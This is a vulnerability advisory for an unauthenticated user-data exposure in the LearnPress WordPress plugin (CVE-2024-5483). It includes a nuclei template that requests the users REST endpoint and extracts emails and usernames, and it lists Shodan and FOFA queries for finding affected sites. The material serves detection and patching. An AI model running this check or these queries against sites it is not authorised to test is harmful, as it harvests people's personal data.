LearnPress < 4.2.6.8.1 - Information Disclosure

mediumseverity

5.3CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by incorrect implementation of get_items_permissions_check function in all versions up to 4.2.6.8, letting unauthenticated attackers extract user emails and basic information.

Impact

Unauthenticated attackers can access sensitive user information, including emails, leading to privacy breaches.

Fix

Update to version 4.2.6.9 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-json/learnpress/v1/users
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "id","email","username","email")

Run it with nuclei: nuclei -id CVE-2024-5483 -u <target>

The full check

id: CVE-2024-5483

info:
  name: LearnPress < 4.2.6.8.1 - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by incorrect implementation of get_items_permissions_check function in all versions up to 4.2.6.8, letting unauthenticated attackers extract user emails and basic information.
  impact: |
    Unauthenticated attackers can access sensitive user information, including emails, leading to privacy breaches.
  remediation: Update to version 4.2.6.9 or later.
  reference:
    - https://wpscan.com/vulnerability/1f253156-333b-4be6-b727-06237567be1e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-5483
    epss-score: 0.01008
    epss-percentile: 0.63348
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2024,wordpress,wpscan,wp-plugin,learnpress,vuln,info-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/learnpress/v1/users"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "id","email","username","email")'
        condition: and

    extractors:
      - type: regex
        name: user_email
        part: body
        regex:
          - '"(?:email|user_email)"\s*:\s*"([^"@]+@[^"]+)"'
        group: 1
        internal: true

      - type: regex
        name: username
        part: body
        regex:
          - '"(?:username|user_login)"\s*:\s*"([^"]+)"'
        group: 1
        internal: true

      - type: dsl
        dsl:
          - "'Username: ' + username"
          - "'Email: ' + user_email"

References

https://wpscan.com/vulnerability/1f253156-333b-4be6-b727-06237567be1e/

Use this check only on systems you are authorised to test. Where the data comes from